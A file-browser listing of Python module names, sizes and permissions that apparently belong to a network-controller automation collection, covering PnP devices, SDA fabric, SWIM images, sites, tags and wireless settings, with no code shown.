network_device_functional_capability_info.py File 3.42 KB 0644
network_device_global_polling_interval_info.py File 1.73 KB 0644
network_device_info.py File 8 KB 0644
network_device_interface_neighbor_info.py File 2.11 KB 0644
network_device_interface_poe_info.py File 2.4 KB 0644
network_device_inventory_insight_link_mismatch_info.py File 3.67 KB 0644
network_device_lexicographically_sorted_info.py File 4.1 KB 0644
network_device_linecard_details_info.py File 1.98 KB 0644
network_device_meraki_organization_info.py File 1.81 KB 0644
network_device_module_count_info.py File 2.21 KB 0644
network_device_module_info.py File 3.73 KB 0644
network_device_poe_info.py File 1.76 KB 0644
network_device_polling_interval_info.py File 1.75 KB 0644
network_device_range_info.py File 3.42 KB 0644
network_device_register_for_wsa_info.py File 2.27 KB 0644
network_device_stack_details_info.py File 3.65 KB 0644
network_device_summary_info.py File 1.81 KB 0644
network_device_supervisor_card_details_info.py File 2.04 KB 0644
network_device_sync.py File 1.93 KB 0644
network_device_update_role.py File 1.83 KB 0644
network_device_user_defined_field.py File 3.38 KB 0644
network_device_user_defined_field_info.py File 2.17 KB 0644
network_device_vlan_info.py File 2.07 KB 0644
network_device_wireless_lan_info.py File 2.22 KB 0644
network_device_with_snmp_v3_des_info.py File 2.64 KB 0644
network_info.py File 2.13 KB 0644
network_update.py File 6.08 KB 0644
network_v2.py File 7.63 KB 0644
network_v2_info.py File 2.02 KB 0644
nfv_profile.py File 8.75 KB 0644
nfv_profile_info.py File 3.76 KB 0644
nfv_provision.py File 16.58 KB 0644
nfv_provision_detail_info.py File 2.42 KB 0644
nfv_provision_details.py File 1.73 KB 0644
path_trace.py File 3.24 KB 0644
path_trace_info.py File 35.31 KB 0644
planned_access_points_info.py File 3.24 KB 0644
platform_nodes_configuration_summary_info.py File 3.32 KB 0644
platform_release_summary_info.py File 2.1 KB 0644
pnp_device.py File 46 KB 0644
pnp_device_authorize.py File 1.69 KB 0644
pnp_device_claim.py File 3.61 KB 0644
pnp_device_claim_to_site.py File 3.37 KB 0644
pnp_device_config_preview.py File 2.08 KB 0644
pnp_device_count_info.py File 3.45 KB 0644
pnp_device_history_info.py File 2.7 KB 0644
pnp_device_import.py File 45.67 KB 0644
pnp_device_info.py File 13.87 KB 0644
pnp_device_reset.py File 3.04 KB 0644
pnp_device_unclaim.py File 1.68 KB 0644
pnp_global_settings.py File 7.96 KB 0644
pnp_global_settings_info.py File 3.04 KB 0644
pnp_intent.py File 30.29 KB 0644
pnp_server_profile_update.py File 5.13 KB 0644
pnp_smart_account_domains_info.py File 1.64 KB 0644
pnp_virtual_account_add.py File 5.16 KB 0644
pnp_virtual_account_deregister.py File 2.75 KB 0644
pnp_virtual_account_devices_sync.py File 5.33 KB 0644
pnp_virtual_account_sync_result_info.py File 2.73 KB 0644
pnp_virtual_accounts_info.py File 1.78 KB 0644
pnp_workflow.py File 7.73 KB 0644
pnp_workflow_count_info.py File 1.67 KB 0644
pnp_workflow_info.py File 4.15 KB 0644
profiling_rules_count_info.py File 1.89 KB 0644
profiling_rules_in_bulk_create.py File 5.86 KB 0644
projects_details_info.py File 2.38 KB 0644
qos_device_interface.py File 5.33 KB 0644
qos_device_interface_info.py File 3.19 KB 0644
qos_device_interface_info_count_info.py File 1.76 KB 0644
reports.py File 6.25 KB 0644
reports_executions_info.py File 3.25 KB 0644
reports_info.py File 3.91 KB 0644
reports_view_group_info.py File 2.73 KB 0644
reports_view_group_view_info.py File 3.5 KB 0644
reserve_ip_subpool.py File 6.32 KB 0644
reserve_ip_subpool_create.py File 4.39 KB 0644
reserve_ip_subpool_delete.py File 1.67 KB 0644
reserve_ip_subpool_info.py File 3.17 KB 0644
reserve_ip_subpool_update.py File 3.85 KB 0644
role_permissions_info.py File 1.72 KB 0644
roles_info.py File 1.9 KB 0644
sda_count_info.py File 1.37 KB 0644
sda_device_info.py File 1.82 KB 0644
sda_device_role_info.py File 1.84 KB 0644
sda_fabric.py File 1.84 KB 0644
sda_fabric_authentication_profile.py File 4.06 KB 0644
sda_fabric_authentication_profile_info.py File 2.3 KB 0644
sda_fabric_border_device.py File 7.19 KB 0644
sda_fabric_border_device_info.py File 5.96 KB 0644
sda_fabric_control_plane_device.py File 3.04 KB 0644
sda_fabric_control_plane_device_info.py File 2.04 KB 0644
sda_fabric_edge_device.py File 2.67 KB 0644
sda_fabric_edge_device_info.py File 1.91 KB 0644
sda_fabric_info.py File 1.51 KB 0644
sda_fabric_site.py File 2.8 KB 0644
sda_fabric_site_info.py File 1.8 KB 0644
sda_multicast.py File 3.79 KB 0644
sda_multicast_info.py File 2.19 KB 0644
sda_port_assignment_for_access_point.py File 3.51 KB 0644
sda_port_assignment_for_access_point_info.py File 2.32 KB 0644
sda_port_assignment_for_user_device.py File 4.16 KB 0644
sda_port_assignment_for_user_device_info.py File 2.28 KB 0644
sda_provision_device.py File 3.37 KB 0644
sda_provision_device_info.py File 1.82 KB 0644
sda_virtual_network.py File 2.5 KB 0644
sda_virtual_network_info.py File 1.96 KB 0644
sda_virtual_network_ip_pool.py File 4.93 KB 0644
sda_virtual_network_ip_pool_info.py File 2.3 KB 0644
sda_virtual_network_v2.py File 3.83 KB 0644
sda_virtual_network_v2_info.py File 1.93 KB 0644
security_advisories_devices_info.py File 1.81 KB 0644
security_advisories_ids_per_device_info.py File 1.95 KB 0644
security_advisories_info.py File 1.97 KB 0644
security_advisories_per_device_info.py File 2.17 KB 0644
security_advisories_summary_info.py File 2.25 KB 0644
sensor.py File 6.52 KB 0644
sensor_info.py File 2.13 KB 0644
sensor_test_run.py File 1.45 KB 0644
sensor_test_template_duplicate.py File 4.93 KB 0644
sensor_test_template_edit.py File 6.9 KB 0644
service_provider_create.py File 2.06 KB 0644
service_provider_info.py File 2.1 KB 0644
service_provider_profile_delete.py File 1.68 KB 0644
service_provider_update.py File 2.19 KB 0644
service_provider_v2.py File 2.89 KB 0644
service_provider_v2_info.py File 2.13 KB 0644
site_assign_credential.py File 2.24 KB 0644
site_assign_device.py File 1.59 KB 0644
site_count_info.py File 1.58 KB 0644
site_create.py File 3.92 KB 0644
site_delete.py File 1.55 KB 0644
site_design_floormap.py File 2.27 KB 0644
site_design_floormap_info.py File 1.93 KB 0644
site_health_info.py File 3.99 KB 0644
site_info.py File 2.35 KB 0644
site_intent.py File 18.24 KB 0644
site_membership_info.py File 2.34 KB 0644
site_update.py File 3.59 KB 0644
snmp_properties.py File 2.19 KB 0644
snmp_properties_info.py File 1.72 KB 0644
snmpv2_read_community_credential.py File 3 KB 0644
snmpv2_write_community_credential.py File 3.02 KB 0644
snmpv3_credential.py File 3.67 KB 0644
sp_profile_delete_v2.py File 1.66 KB 0644
swim_image_details_info.py File 5.06 KB 0644
swim_import_local.py File 2.41 KB 0644
swim_import_via_url.py File 2.92 KB 0644
swim_intent.py File 29 KB 0644
swim_trigger_activation.py File 2.92 KB 0644
swim_trigger_distribution.py File 2.1 KB 0644
syslog_config_create.py File 2.01 KB 0644
syslog_config_update.py File 2.01 KB 0644
system_health_count_info.py File 2.1 KB 0644
system_health_info.py File 2.74 KB 0644
system_performance_historical_info.py File 2.73 KB 0644
system_performance_info.py File 2.72 KB 0644
tag.py File 4.1 KB 0644
tag_count_info.py File 2.02 KB 0644
tag_info.py File 3.95 KB 0644
tag_member.py File 2.52 KB 0644
tag_member_count_info.py File 1.94 KB 0644
tag_member_info.py File 2.71 KB 0644
tag_member_type_info.py File 1.56 KB 0644
tag_membership.py File 2.03 KB 0644
task_count_info.py File 2.87 KB 0644
task_info.py File 4.5 KB 0644
task_operation_info.py File 2.57 KB 0644
task_tree_info.py File 2.2 KB 0644
template_intent.py File 35.52 KB 0644
template_preview.py File 1.93 KB 0644
templates_details_info.py File 9.67 KB 0644
threat_detail.py File 2.15 KB 0644
threat_detail_count.py File 1.88 KB 0644
threat_summary.py File 1.87 KB 0644
topology_layer_2_info.py File 3.38 KB 0644
topology_layer_3_info.py File 3.42 KB 0644
topology_network_health_info.py File 2.77 KB 0644
topology_physical_info.py File 3.38 KB 0644
topology_site_info.py File 1.92 KB 0644
topology_vlan_details_info.py File 1.58 KB 0644
transit_peer_network.py File 3.64 KB 0644
transit_peer_network_info.py File 2.17 KB 0644
user.py File 2.64 KB 0644
user_enrichment_details_info.py File 4.94 KB 0644
user_info.py File 1.89 KB 0644
users_external_servers_info.py File 2.12 KB 0644
wireless_accespoint_configuration.py File 12.09 KB 0644
wireless_accesspoint_configuration_summary_info.py File 4.36 KB 0644
wireless_dynamic_interface.py File 2.63 KB 0644
wireless_dynamic_interface_info.py File 1.86 KB 0644
wireless_enterprise_ssid.py File 5.6 KB 0644
wireless_enterprise_ssid_info.py File 2.89 KB 0644
wireless_profile.py File 5.16 KB 0644
wireless_profile_info.py File 2.16 KB 0644
wireless_provision_access_point.py File 2.53 KB 0644
wireless_provision_device_create.py File 3.01 KB 0644
wireless_provision_device_update.py File 2.99 KB 0644
wireless_provision_ssid_create_provision.py File 3.74 KB 0644
wireless_provision_ssid_delete_reprovision.py File 2.06 KB 0644
wireless_psk_override.py File 2.04 KB 0644
wireless_rf_profile.py File 5.96 KB 0644
wireless_rf_profile_info.py File 2.69 KB 0644
wireless_sensor_test_results_info.py File 3.52 KB 0644